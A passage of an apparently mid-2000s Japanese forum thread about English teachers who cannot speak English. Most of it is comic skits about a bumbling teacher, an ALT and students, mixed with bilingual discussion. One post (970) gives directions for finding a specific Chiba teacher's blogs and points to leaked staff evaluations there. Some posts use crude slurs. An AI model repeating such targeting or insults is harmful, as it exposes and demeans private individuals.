924 :実習生さん:2006/12/29(金) 22:12:54 ID:9HnXlf83

キャサリン:この前、地下鉄の中で日本人の観光客がお尻触ってきたのよ。
ジョン  :ほう。
キャサリン:“止めないと警察呼ぶわよ”って言っても止めないから突き出してやったわ。
ジョン  :最低だな。
キャサリン:その男、警察で“ハロー、ハウデューデュー”とか、わけわからないこと言ってるわけ。
ジョン  :池沼か?w
キャサリン:すぐ日本人のガイドさんが飛んできて、通訳してくれたんだけど、
      その男が言うには、私が“触って”って言ったから触ったんだってw
      自分は英語の教員だから聞き間違うはずがないって言い張るのよ。
ジョン  :アハハ、日本人の英語教員は英語なんかできないんだよ。
キャサリン:え?そうなの?
ジョン  :でも、彼らは英語できるって言い張って聞かないんだけどねw で、どうなった?
キャサリン:どうもこうも、そのまま警察においてきたわ。
ジョン  :それでいい。そうしないと彼らは自覚しないからね。



925 :実習生さん:2006/12/29(金) 22:42:32 ID:XRH8q0tN
>>924

The teacher was bragging about his experience of his using the subway
and visiting the police on his own in >>921 but actually he was
mistaken for a pervert and got arrested. How pathetic!


926 :実習生さん:2006/12/30(土) 12:38:47 ID:pJOCtQRU
There are many perverts here.

927 :実習生さん:2006/12/30(土) 12:39:06 ID:CbQpZndx
ID:9HnXlf83←こいつは頭がいかれてる。
       PTSDって病気か?
      


928 :実習生さん:2006/12/30(土) 14:25:29 ID:conKvbHV
>>918-922
面白すぎw  実際にいるからなぁ、こういうの。

929 :実習生さん:2006/12/30(土) 15:15:55 ID:p1CcSk3D
>>927
漏れは滅茶苦茶面白いとおもた

930 :実習生さん:2006/12/30(土) 16:19:02 ID:CbQpZndx
お目覚めですか?ニート君たち

>>926
yeh, I agree.

931 :実習生さん:2006/12/30(土) 20:57:44 ID:conKvbHV
実際、外国人のアシスタントと帰国子女がいる場合、英語できない英語教師としては、どう対処するの?
今はそんなに稀なことじゃないだろ。

やっぱ、この英語教師みたいにみっともない姿をさらすしかないのか?w


932 :実習生さん:2006/12/30(土) 21:25:34 ID:l5bq99/C
>>1
日本人だからだろ

933 :実習生さん:2006/12/30(土) 21:26:08 ID:ex1sHW9A
>918ー924
英語教師のムチャクチャな自己弁護がおもろいw
教師ってよくそういうムチャクチャな説教するよな。


934 :実習生さん:2006/12/31(日) 14:58:51 ID:yzheqV/a
英語の先生はまずロリコンの変態。

935 :ばかお:2006/12/31(日) 16:21:47 ID:snAeuQdM
>>934
うんこでもしってな!!

936 :実習生さん:2006/12/31(日) 18:35:52 ID:SuZJ1Vpj
ID:9HnXlf83の作品がまた読みたいです

937 :実習生さん:2006/12/31(日) 19:22:27 ID:Zefe4h+y
>>936
I think so,too.

938 :実習生さん:2007/01/01(月) 10:26:56 ID:1IWKn0JZ
ニート君たち、今年は働こうね。

939 :実習生さん:2007/01/01(月) 16:33:50 ID:khPHSnOw
いじめ加担教師

940 :実習生さん:2007/01/02(火) 00:52:53 ID:Tb7cw1jH
>>920
>先生が英語できてどうする?先生が英語できると、お前らが入試に受かるわけではない。 わかるな。

The way this teacher justifies himself is very funny and it sounds somehow familiar to us all.
Teachers tend to say something like this maybe including myself.
English teachers should be a good speaker of the language. Everyone
believes so except for English teachers themselves.

There will be more and more young teachers fresh out of university
joining the workforce since babyboomers will start leaving school from
this March. Young teachers are better speakers and probably they have
studied abroad and they have more access to spoken English when they
were growing up. I hope they will change English education in Japan.
In the meantime we should brush up our English and be a good model as
an English learner in the eyes of the students.


941 :実習生さん:2007/01/02(火) 15:22:19 ID:eFdQ/QP/
若い先生たちも最初だけだろうな。
そのうち、公務員という世界にずるずる
はまっていってそのうち四面楚歌になり、
給料さえもらえればという考えに到達する。

942 :実習生さん:2007/01/02(火) 15:57:36 ID:Tb7cw1jH
>>941
>四面楚歌

I may be optimistic but I don't think what you said in >>941 will happen,
because 40% of the teachers will leave the workforce in 15 years and
younger teachers will be, then, influential by that time and they will
change the way it is taught as they want.

943 :実習生さん:2007/01/02(火) 18:27:18 ID:Tb7cw1jH
http://school5.2ch.net/test/read.cgi/edu/1140139041/375

ID:eFdQ/QP/

Do you say those prestigious universities such as Todai or Kodai, still ask those who
want to get into their university to translate underlined English sentences to see how
good the applicants' English abilities are? However, the standerdized exams for the applicants
to the universities have a listening part, don't they?
I think that is a first step to change our traditional testing system in English.


944 :実習生さん:2007/01/02(火) 22:58:54 ID:iYrZWJUm
>>941
それはそうだろうね。
仕事をしなくても、無能なままでもクビにもならず給料が減るわけでもなれば、
忽ちサボリだすのが人間。しかも、教員なんてとりわけ徳の低い人間だから、
加速度的に無能になっていくだろうな。



945 :実習生さん:2007/01/03(水) 00:20:48 ID:INBansNp
No matter how lazy you are, you get paid the same amount of salary.
This seems to be a shared idea among the public in general. I kind of agree
with the human nature you are talking about in >>944.
I might be too optimistic, but I think the problem seems to solve itself in the
long run because students (besides principals) have started evaluating their teachers
and the result of the questionaire will be reflected in their wage structure.
There will be more and more young teachers hired in the next 15 years.
All that seems to be indicating a rosy future of English education in this country.

946 :実習生さん:2007/01/03(水) 10:25:40 ID:b7a3R+Qv
オレの学校では若い教師の方が英語できなかったよ。
まぁ、どんぐりの背比べだがな。


947 :実習生さん:2007/01/03(水) 14:44:44 ID:INBansNp
>>946
When was it that you were in highschool? I don't know how old you are but
if you are 25, you are talking about 10 years ago. Those young teachers
are middle aged by now and older teachers are about to retire soon.
I'm talking about young teachers who are going to join the workforce
once the baby-boomers are gone. They are young people who might have been
abroad or have more access to audio-visual equipments when they were growing up.
I expect THEM to make a big change in English education.

948 :実習生さん:2007/01/03(水) 15:04:50 ID:hFfiXNx3
>947
まぁ、若い教師が英語できるってわけじゃない。
特に教師はコネ採用が激しいしね。英語なんかできなくてもくびになるわけじゃなし、
無能な人間がばかりになって当たり前。

949 :実習生さん:2007/01/03(水) 15:11:29 ID:sie6KFco
同僚の英語の先生同士って、どうやって自分のほうが英語力が上って分かるの?
誰も本音いわんでしょ。仲も悪いし。

950 :実習生さん:2007/01/03(水) 16:27:34 ID:INBansNp
>>948

Where did you get the idea most of the new recruits have influential relatives?
Oh, well, I should keep silent about that because I'm not sure whether you are right
or wrong unless I see statistics to prove it.

>>949
How would you know we don't get along each other and it is not true.
However, you are right in saying it is almost impossible to tell how good
our co-working teachers' English proficiency is.
As a matter of fact, I think theirs is quite good, though it might be
evaluated differently depending on what kind of English proficiency you are
talking about.

951 :実習生さん:2007/01/03(水) 19:09:49 ID:b7a3R+Qv
>>947
オレは30前だが、何か?
ちなみに、オレが学生時代の若い英語教員も英語なんかできなかったし、
オレの友達で英語教員やってるやつの英語力も絶望的だね。
英検で言えば、準1級とるのにヒーコラ言ってる連中だ。
でも、彼らは準1級なんか取るより、“英語ができなくてもクビになるわけじゃなし”と考え始めるほうが早いだろうな。

952 :実習生さん:2007/01/03(水) 22:32:55 ID:INBansNp
>>951

You are younger than 30, which means your friends are(were?) pretty good because
most of the local government didn't recruit so many people back then.
They went through quite rigorous screenings including interviews.
You say their English was hopeless. I would like to know why you think so.
You went to school with them and they did bad, or something?
Do you still talk with them? Are they so hopelessly lazy? Why do you make
friends with them if you despise them? Before all things, have you ever
given them any advice that they shouldn't be so complacent about their English
abilities?

953 :実習生さん:2007/01/03(水) 22:35:03 ID:INBansNp
Gosh!

○local governments
×local government

954 :実習生さん:2007/01/04(木) 19:26:22 ID:tpKyxCTb
あ、そうか、英語が得意そうに投稿するから、返信を英語で
投稿しているのか。やっと、分かったよ。でも、その英文が
所々違っているように思えるのは俺だけかな。日本語で投稿
すれば?


955 :実習生さん:2007/01/04(木) 19:27:25 ID:tpKyxCTb
補足。英語が得意そうに投稿しているというのは俺のことじゃないよ。
この掲示板の投稿者のこと。

956 :実習生さん:2007/01/04(木) 19:44:58 ID:eUneDd5x
>>954

It's not only you but I do. I also find those postings rubbish as you do.
Don't take any notice of them but just ignore them if you don't like them.
That's all.

I use English here because English teachers try to use English as much as
possible, which goes againt the thread title,"なぜ、英語教師は日本語しかできないのか?"

I don't have a false idea about my own English abilities; not good but not bad either.
Those people who want to say something about English education are more or less interested
in learning English themselves, aren't they?
I would welcome you to start using English here if you don't mind.

957 :実習生さん:2007/01/05(金) 20:35:23 ID:LH1jLcJN
>>956 言いたいことは分かるけど、955で補足したように「英語が
得意だと自慢そうに投稿している」のは俺じゃない。俺はたまに訪れる
だけの人間であって、どうして、英文があるのか不思議に思っただけ。



958 :実習生さん:2007/01/05(金) 22:39:48 ID:Yx/tvRS6
>>957

I'm glad I seem to have put my intention across to you.
I'm an English teacher whose English abilities are just mediocre but
I can do this much; to use the langugage to let people know what I want to say.
This is the very starting point of everything.

959 :実習生さん:2007/01/06(土) 06:47:46 ID:0FIwDz2A
千葉で英語の教師をしています。4カ国語はなせます。
ブログに写真とフランス語がよめれば名字なし名前もあります。
有名になりたいらしいです。

※4回目のフランス語カウンセリング内容を掲載しました。(2005.11.15)
※ドイツ語L6→L5 CAT内容 を掲載しました。(2005.08.29)
※1回目のドイツ語カウンセリング内容を掲載しました。(2006.05.02)

= 祝 ドイツ語Level4へLevelUp! =


960 :実習生さん:2007/01/06(土) 23:17:50 ID:BS7eN75m
>>959

I don't know why you have to tell us about it.

Are you an English teacher in Chiba who is good at speaking three foreign
languages yourself?

Or are you the one who has nothing to do with the teacher but somehow get
envious of him and have decided to annoy him by making him recieve spams?

I myself feel envious of him. English is hard enough for me!


961 :実習生さん:2007/01/07(日) 15:29:10 ID:67RtI6L+

英語教師:あー静かに。ほら、席に着け。もうチャイム鳴っただろ。
ジョン :・・・・
英語教師:えー今日から外人の先生が週一回来てくれることになった。じゃ、ジョン先生お願いします。
ジョン :・・・?・・・
英語教師:あ、そっか。アー、ジョン、ティーチャー、プリーズ。
ジョン :Could you introduce me to the students, first?
英語教師:え?!、イントロ?あぁ、自己紹介ね。マイ・ネーム・イズ・スズキ。
ジョン :No. No. You introduce ME to the students.
英語教師:あッぁ、アイ・アム・イングリッシュ・テーチャー。フォーティーイアーズ・オールド。ベリーオールド。なんちゃってw
ジョン :I don't ask you to introduce yourself to me. Please introduce ME to the STUDENTS.
英語教師:アイ・ライク・ジャパニーズフード・ライク・スシ・・・
生徒  :生徒に紹介してくれって言ってるんじゃないの?
英語教師:うるさい。授業中は静かにしてろ。アァー、ジョン・ティーチャー、ジュギョウ・プリーズ。
ジョン :You don't understand. I ask you to introduce ME to the STUDENTS. OK?
英語教師:あっ、ステューデントね。生徒の自己紹介ね。アイ・シー、アイ・シー。おい、それじゃ、まず、秋山から自己紹介しろ。
生徒  :(ザワザワ)そうじゃないんじゃない?

962 :実習生さん:2007/01/07(日) 16:52:59 ID:67RtI6L+

栄見純一郎(生徒):You asked him to introduce you to us, right?
ジョン     :Yes, Yes. You understand me.
英語教師    :・・・
栄見純一郎   :先生! あのぉ、ジョン先生のことを生徒に紹介して欲しいって言ってますよ。
英語教師    :あっ?何だお前は。そっそんなことはわかってるよ。そのぐらいわからないでどうする。
栄見純一郎   :えぇ、ですから、生徒の自己紹介の前にジョン先生をみんなに紹介したほうが…
英語教師    :だから、今やろうと思ってたんだろ。それよりお前、授業中に私語は慎め。
栄見純一郎   :・・・
ジョン     :・・・
英語教師    :えー、これから週一回はこのジョン先生が授業をすることになる。
         だから、オレの出番は一回減るってこと。じゃ、秋山、自己紹介してみろ。
ジョン(純一郎に):(whispering) He already introduced me to everyone?
栄見純一郎   :I don't know. He just said that you would come to the class once a week.
英語教師    :栄見!、私語は慎めと言っただろ。何回言ったらわかるんだ。
ジョン     :・・・
栄見純一郎   :・・・

963 :実習生さん:2007/01/07(日) 16:54:52 ID:67RtI6L+
英語教師    :(突然大声で)今日はザワついてるなぁ。お前ら勉強する気あるのか?
         よーし、みんな教科書閉じろ。そして目を閉じて、先生の話を静かに聴け。
ジョン     :・・・
栄見純一郎   :・・・
英語教師    :(教室内を歩き回りながら)お前たちは、勉強しなきゃいけないのは誰なのか理解してないようだ。
         勉強するのは先生か?違うだろ?勉強するのは、お前らだ。
         先生が英語できてどうする?先生が英語できると、お前らが入試に受かるのか?
         違うだろ?
         だから先生が英語できるかどうかなんて関係ない。
         勉強するのはお前らなんだからな。お前らは先生を馬鹿にするほど英語できるのか?
         アメリカ人みたいに英語できるのか?できないだろ?

         なら、先生の英語力についてとやかくいう資格はない。わかったな。
         でも、お前ら内心では“先生って英語できないじゃないか”なんて思ってる奴もいるんじゃないか?
         そんなことを考えているようでは入試には受からんぞ。絶対受からんな。
         先生も今まで何人もの生徒を送り出してきたが、そんなことを考えてる生徒の100人中99人は不合格だ。
         いいか、そんなことを考えてる生徒の8割が不合格だぞ。
         だから、そんなこと考えちゃいかん。わかったな。


964 :実習生さん:2007/01/07(日) 17:13:55 ID:67RtI6L+
英語教師    :先生は英語できないわけじゃない。英語教師なんだから英語ができて当たり前だ。
         夏休みにはアメリカ旅行のツアーに行って来たぞ。地下鉄に乗ったり警察に行ったりしたんだ。
         そんなことお前らにできるか?できないだろ?
         だから先生を馬鹿にしちゃいかん。先生を馬鹿にすると必ず入試に失敗するからな。
         だいたい教師というものは英語ができればいいってもんじゃない。
         へたに英語なんかできると教育にはマイナスだ。英語できる人は英語教師には向かないんだよ。
         ちょっと考えれば、そんなことはすぐにわかる。
         だいたいお前ら、学校終わった後、何してる?どうせくだらないテレビ見てるだけだろ。
         それともゲームか?2チャンなんか見てるバカもいるだろ。
         2チャンなんかウソだらけだからな、特に教育板は。あぁいうのを見てる奴は必ず入試に落ちる。
         お前たち、どうせ一生英語なんか使わないよ。オレだってまともに使ったことないもん。
         そういう奴らに教えるのに英語力なんか必要ない。
         だいたい、英語を教えるだけでは教師は勤まるわけないだろ。
         部活動があれば事故が起こらないかどうか職員室で心配しなけりゃならん。
         放課後だって、問題を起こす生徒がいないかどうか気の休まるときがないんだからな。
         英語ができるとこういう大事な仕事ができない。


965 :実習生さん:2007/01/07(日) 17:17:29 ID:67RtI6L+
英語教師     :そういう事情を知りもしないで、英語教師の英語力をバカにする奴がいる。
          教師をバカにしている。影で笑っている。
ジョン(純一郎に):(whispering) What he is doing?
純一郎      :Well, a kind of a preach....
英語教師     :でも、そういう奴に限って入試は落ちる。受かるもんか。絶対、落として・・・・。
ジョン      :What should I do now?
純一郎      :Just stay....
英語教師     :・・・
ジョン      :I came here to teach English... but he doesn't understand me.
          English teachers here are always like this?
純一郎      :Yes, but I can't help it.
英語教師     :(突然大声で)コラァ―、いつになったら私語を止めるんだ!
ジョン      :・・・
純一郎      :・・・
英語教師     :栄見、後で英語準備室に来なさい。きょうはこれまで。


966 :実習生さん:2007/01/07(日) 19:11:08 ID:ICv5fQOP
>>965 「陰で」だよ。「影」は太陽のつくる暗いところ。
もう少し長く作ってくれないかな。読むのに張り合いがない。


967 :実習生さん:2007/01/07(日) 19:15:40 ID:4iqQayvF
What is most important for you in your life?

968 :実習生さん:2007/01/07(日) 19:18:19 ID:9QF1Hbw6
Well, a sense of achievement or accomplishment is very important
but the most important thing is our family.

What about you? What is the most important in your life?

969 :実習生さん:2007/01/07(日) 19:20:46 ID:9QF1Hbw6
>>961-965

It was very funny when I first read them but I want something new now.
Tell us what will happen after >>965.
I'm looking forward to it.

970 :実習生さん:2007/01/07(日) 20:43:29 ID:d6J7eQ9F
次の文章を貼付けてぐぐると彼のブログが3つヒットします。
>>ここでは、私の英語・フランス語・ドイツ語・中国語学習の奮闘
第6/7回NOAレベルアップコンテスト受賞祝賀会にも参加?
一部伏せ字
Je m'appelle Msayk. ま◯ゆ
J'habite a` Chiba.   
Je suis professeur dans un lyce´e. 
J'enseigne l'anglais.

Freepage Listに大◯M◯センターのスタッフの実名 イントラの評価表があるぞ、
ブランチのスタッフが知らないで、コピー内部かぎりなのにを渡したのか。最◯だな。
2000年の終わりにNOVAに入校しました。 現在、英語(Level3)・フランス語(Level4)・ドイツ語(Level4)・中国語(Level6)の学習に励んでいます。 とにかく語学習得が楽しくて仕方ない私です。
12月1日生

971 :実習生さん:2007/01/07(日) 21:09:33 ID:q5jojpFq
I also think they're well-done fictions.
I want the follow-up to be shown.

972 :実習生さん:2007/01/07(日) 21:32:00 ID:UwhSit4I
なにこのバカスレ

973 :実習生さん:2007/01/07(日) 22:40:53 ID:9QF1Hbw6
John: All right. Let’s move on. Let’s have a quick introduction. I’m John,
your new ALT from England. I like Japanese food especially Sushi and Okonomiyaki.
I enjoy playing rugby and watching a video in my free time. I live in Takada.
英語教師: 高田、お前当たったぞ。返事しろ。
高田: 何言えばいいんすか?
英語教師: ジョン・ティーチャー。もっとスロー、プリーズ。生徒、困ってるよ。
John: What would you like me to do now, Mr. Takahashi?
英語教師: ジョン・ティーチャーは高田がお好きなんだそうだ。高田、よかったな。
生徒一同: (ざわざわ)そうじゃないんじゃないの?
純一郎: (ジョンに小声で)Mr. Takahashi didn’t seem to get it. He didn’t even know you made a self-introduction.
John: (ほっとして) What am I supposed to do now?

974 :実習生さん:2007/01/07(日) 22:42:04 ID:9QF1Hbw6
純一郎: (高田をさしながら) Start asking the student a question or something.
John: Well, then. (高田に)Hi, there. I’m John. What’s your name?
英語教師: 高田、いい加減にしろ。はやく答えろ。ジョン先生が質問しておられるぞ。
高田: アイ・アム・オサム・タカダ。アイ・ライク・お好み焼き・トゥ、なんちって。
英語教師: 高田、調子に乗って関係ないこと言うんじゃない。
John: Osamu… All right, you like Okonomiyaki, too. It tastes good, doesn’t it?
高田: アイ・ライク・マンチェスター・ユナイテッド、なんちって。
英語教師: 高田、私語を慎め、お前も後で職員室に来い。
John: Oh, you like football. So do I. Well, Mr. Takahashi, why are you so upset?
What was wrong with Osamu?
英語教師: えっ?何? ジョン・ティーチャー、ゲームやる?こいつは後でよく叱っておくから。レイター、バァーング!バァーング!アウチ、アウチ、オッケー?
ゲーム、プリーズ。
John: ?

975 :実習生さん:2007/01/08(月) 19:26:29 ID:E2naOWu/
続編、ありがとう。なかなか、おもしろいね。ただ、短すぎるのは
相変わらずだなあ、、、

976 :実習生さん:2007/01/08(月) 21:11:12 ID:1SYlBRHo
>>975

Oh. Did you like it? It's not as funny as the previous ones, which were
made by someone else, not me...

I am an English teacher. so it's a kind of self-depreciating joke, which
makes me feel a bit uncomfortable because I am making fun of myself...
Personally I like the previous ones much better. They were so clever.

I hope someone else will make better ones.

977 :実習生さん:2007/01/09(火) 19:35:57 ID:JWy5HNkV
日本人が読む掲示板に英文で打つような人だから、少し、感覚が
違うのかな。おもしろいじゃん。漫画の種にもなるし。この感覚が
分からなければ、朝日新聞の教員ネタの4コマ漫画を読んでみて。
これがあるから、つい、のぞいてしまうんだし。

978 :実習生さん:2007/01/09(火) 22:32:17 ID:hT7f58Le
(純一郎は職員室にいるジョンのところに来る)
John: Oh, hello. Sorry. What was your name again?
栄見: I’m Jun-ichiro. Call me Jun.
John: OK, Jun. You were very helpful in class. How come you are such a good
speaker?
栄見: Thank you. I listen to some radio English conversation programs. That’s it.
John: I see. By the way, Jun, Mr. Takahashi just doesn’t seem to understand me
at all. Does he really teach you English?
栄見: Yeah. He says he is good at explaining English grammar to us…
(英語教師が通りかかる)
英語教師: 栄見、やっと来たな。お前、授業中に私語ばかり繰り返すんじゃない。
栄見: あっ、先生。私語じゃないんです。ジョン先生にちょっと説明してたんです。
英語教師: お前は何か、オレを助けていたとでも言うのか。先生はお前の助けなど
必要とはしていないぞ。ザッツ・ライト、ジョン・ティーチャ?
John:  Jun, could you tell me what Mr. Takahashi is saying?

979 :実習生さん:2007/01/09(火) 23:08:05 ID:hT7f58Le
(栄見は困っている)
栄見: Well, he is just saying that you understand him perfectly without any problems.
英語教師: 栄見、お前のそういう態度がいかんのだ。しっかり先生の話を聞きなさい。
     大体なあ、「ハロー、ハワイユー」なんていうチャラチャラした英語を
     少し話したって、まるで意味がない。大事なのは、語彙と文法だ。オレは
     ジェームス・カーカップもイーノックス・ガーデンも読まないヤツは認めんそ。
     栄見、お前は、そもそも中間の文法は何点だったか。平均点しか取れてなか
     たじゃないか。そういうヤツはオレは認めん。金輪際、認めん。
John: Hey, Jun, Mr. Takahashi has started getting….angry….again? What’s
happened this time?
栄見: Well, I don’t know… He says I should study English grammar a lot harder.
英語教師: 栄見、いい加減にしろって言ってるのが聞こえんのか?六本木の尻軽娘のよう
     に、チャラチャラとした英語を話すんじゃないぞ。そんなヒマがあったら
     単語を100も覚えてみろ。文法問題を解いてみろ。

980 :実習生さん:2007/01/09(火) 23:24:55 ID:hxzFejLL
純一郎がかわいそうw



981 :実習生さん:2007/01/10(水) 14:22:31 ID:MKNg/HuQ
Nowaadays more and more people around the world travel abroad.
I love to travel abroad as well because it can change your whole view of the world.


982 :実習生さん:2007/01/10(水) 17:33:09 ID:icXsErwv
The scenes above might be seen in many schools nationwide.


983 :実習生さん:2007/01/10(水) 19:40:44 ID:lZmOc7aj
「野暮」って言葉の意味分かる?

984 :実習生さん:2007/01/10(水) 21:08:33 ID:bbWT/4Q5
>>981

Traveling abroad as wellas in Japan surely broadens our horizon and
we can have new perspecitives when seeing different cultures or
different values. What countries have you traveled so far?

>>982
Well, I don't know about that. As for >>973-974 and >>978-979,
I exaggarated what might have happened long time ago.

>>983
Actually I am not so sure about it. What do you mean by that?
You start talking about something so obvious, which is 野暮, isn't it?

985 :実習生さん:2007/01/10(水) 21:59:28 ID:aK1cFk8A
(職員室で)
英語教師1(高橋)   :無気先生、まいりましたよ、栄見の奴には。
無気(栄見の担任)  :はぁ?
英語教師2(生涯独子):まぁ、どうしたんですの、高橋先生?
英語教師1(高橋)  :外人のALTが来たら何だかはしゃいじゃって私語ばかり、授業にならない。
英語教師2(生涯独子):まぁ、もしかして英語で?・・・許せない・・・。
英語教師1(高橋)  :あいつに英会話はまだ早い。一応、説教しておきましたがね。解ったのか解ってないのか。
            その点、木国や貝外はえらいですな、帰国子女なのに授業中はちゃんと静かにしてる。
英語教師2(生涯)  :いいえ、油断は禁物ですわ。木国も貝外もいつ授業を妨害するかわかりません。
            これからも監視しないと。



986 :実習生さん:2007/01/10(水) 22:04:03 ID:aK1cFk8A

教頭         :あぁ、高橋先生と生涯先生、今教育委員会から電話があって、
            市に来てるALTの先生との懇親会が今晩あるそうです。行ってきたらどうですか?
英語教師1(高橋)  :え?! い、いや、今日はちょっと部活があるからなぁ。
教頭         :部活って、ヨーヨー部でしょ?
英語教師1(高橋)  :うゥッ、その、大会があるんですよ、近々。
教頭         :大会ですか・・・。それじゃ、生涯先生は行けますよね?
英語教師2(生涯)  :え!?、私も部活があって。
教頭         :折り紙部も大会ですか?
英語教師2(生涯)  :いえ、ほら、千羽鶴折らなきゃいけないから。
教頭         :はぁ、そうですか。。。

 


987 :実習生さん:2007/01/10(水) 22:13:10 ID:aK1cFk8A

(放課後の教室)
貝外行夫:おい、栄見、お前勇気あるなぁ、英語の時間に英語話すなんて。
木国史子:ホント、ハラハラしちゃった。
栄見  :なんでお前ら黙ってたんだよ。あのぐらいの英語ならできるんだろ?アメリカに行ってたなら。
貝外  :なんだ、子供みたいなこと言ってるなよ、海外にいるときに教わらなかったのか?
栄見  :何を?
木国  :栄見クンってどこの国に行ってたんだっけ?
栄見  :オレは、まだ日本から出たことないけど。
貝外  :あぁ、それでお前知らないのか。海外に行ってた奴はみんな、
    “帰国して日本の公立校に行ったら英語教師の前では英語できないフリをしろ”って教わるんだよ。
栄見  :・・・。


     

988 :実習生さん:2007/01/10(水) 22:22:10 ID:bbWT/4Q5
(ジョンは教育委員会から電話を受け、懇親会に参加を承諾する。)
John: Mr. Takahashi, I was asked to attend a party organized by the board of
education. They said some of the Japanese teachers from this school are also
coming… I wonder who are coming.
英語教師(1): ジョン先生、もっとスローに、ね。早く日本に慣れてね。生涯先生、
ジョン先生に日本語教えてやってくださいよ。
英語教師(2): あら、高橋先生。外人は怠け者だから、何年日本にいても、日本語は
ダメですよ。本当にイヤになってしまいますよね。
John: Well…Um… Are you coming or not, Mr. Takahashi? And you, too,
Ms. Shogai? Actually I don’t know how to get there… Well, let me see.
“Mura-ichiban?” Is it a restaurant or a pub?
英語教師(1): なんか、オレの行きつけの居酒屋「村一番」って言った気がするぞ。
英語教師(2): まあ、高橋先生、もうお酒飲んで、遊びまわりたいんですわ。困った
外人教師ですわよね。

989 :実習生さん:2007/01/10(水) 22:48:07 ID:4sCpXehK
おもろいね。英語教師とALTと帰国子女でかもしだす緊張感 w
しかしヨーヨー部ってw

990 :実習生さん:2007/01/10(水) 22:56:53 ID:bbWT/4Q5
(ジョンは放課後の教室へ、ぶらりと立ち寄る)
栄見: Hi, Joh(ジョンは放課後の教室へ、ぶらりと立ち寄る)
栄見: Hi, John. Are you going home now?
John: Oh, hi, Jun… Well, it was Jun, right? (栄見、うなづく)
No, I’m walking around to find some of the students and get to know them, hopefully…
栄見: There are so many students who are still around. Most of us belong to a club.
As soon as school is over, we start practicing soccer…well, football, in my case.
John: You are a member of the football club? Mind if I come and see you play?
栄見: Be my guest.

991 :実習生さん:2007/01/10(水) 22:57:49 ID:bbWT/4Q5
(グランドへ行く途中)
栄見: John…. Um… I have a …kind of problem.
John: You can tell me about it… I might be able to be of some help, you know.
栄見: Oh, sure…. You can help me a lot… It’s about our English classes.
I was advised not to speak any English in class…
John: (ショックを受けて)What? What are you talking about? Who said that to you?

992 :実習生さん:2007/01/11(木) 11:42:40 ID:1j2PI9ZV
>>987
そういう話は聞いたことあるけど、本当だったのか。

993 :実習生さん:2007/01/11(木) 19:08:34 ID:aC8cqU92
続編を是非期待したい。このスレッドの楽しみはこれだけだし。

994 :実習生さん:2007/01/11(木) 19:25:56 ID:rsLYxpGu
>>992
Well, >>987 might be a real story based on the writer's own experience or
something but as far as mine is concerned, they are not real, needless to say...

>>993
This thread will be over soon, I'm afraid.

995 :実習生さん:2007/01/11(木) 19:37:44 ID:rsLYxpGu
(職員室で)
John: Is it true, Mr. Takahashi, you told Jun not to speak English
in class? It's nonsense not to speak English in English classes.
英語教師:ジョン先生、ドント・ドリンク・トゥ・マッチ、アット村一番、トゥナイト。
     へへへ。
John: Could you please answer my question? All right?
You know Jun, one of our students we taught today in 1-5.
英語教師:ジュン?六月はまだまだ先だしなあ。何のことかいな。
     分かりますか、生涯先生?
英語教師A:ワン・ファイブとか言ってましたわよ。
      きっと、6月の15日に何かあるんじゃないでしょうか。
      ワット・ハップンズ・オン・ジュン・ワン・ファイブ、ジョン先生?
John: Oh, Good Lord!

996 :実習生さん:2007/01/11(木) 20:45:31 ID:1j2PI9ZV
>>994
いや、個人的にそういう話を聞いたことがあるのよ。
帰国したら英語教師をバカにしないように、って諭されるらしい。
ここでも同じような話が出てるから、実際にあるんだなぁ、と思ってさ。





997 :実習生さん:2007/01/11(木) 20:53:12 ID:BX7u7XWG
相変わらずおもしろいね。
英語できない英語教師って、どんな場面においてもコントになるw
次回か作期待してるよ。



998 :実習生さん:2007/01/11(木) 21:13:10 ID:rsLYxpGu
英語教師@:グッド・ロード、あり?道路舗装がいいって言ってるみたい。
      ジャパンズ・グレート・テクノロジーなんちゃって。
      おっ、高田の口癖がうつっちゃっいましたよ。
英語教師A:まぁ、高橋先生、さすがですわ。科学技術と言えば、日本ですものね。
      このように、イギリスから出稼ぎに若者が来るくらいですもの。
      グレート・テクノロジー、オンリーインジャパン、ですわ。
John: Oh, please...Mr. Takahashi, Ms. Shogai, please speak English so that
I can understand you and just tell me why you said what you said to Jun.
Jun... you surely know who I'm talking abou...

999 :実習生さん:2007/01/11(木) 21:19:20 ID:rsLYxpGu
英語教師A:ジュンって・・・。もしかしたら、栄見のことなんじゃないですの?
      確か、栄見って純一郎っていうんじゃなかったかしら。
英語教師@:栄見純一郎がどうしたっていうんだろう。授業妨害したことは
      ちゃんと叱っておいたはず。
英語教師A:イギリスですもの、口頭で叱るんじゃ生やさしいと思っているんですわよ。
英語教師@:確かに、栄見はもう一度呼んで、しっかり文法や語彙の大切さ、
      我々の授業に真剣に向かい合う姿勢についてしっかり話す必要がありますね。

1000 :実習生さん:2007/01/11(木) 21:27:38 ID:rsLYxpGu
John: Yeah, Jun, Jun-ichiro! I remember he said that... Why should he
not speak English in class, Mr. Takahashi, Ms. Shogai???
英語教師@:オッケー、ドント・ワリー。アイルパンチ・ヒム・ハード。
John: Are you saying you'll punch him hard??? No, don't.
What did he do to deserve that? You sound...insane!

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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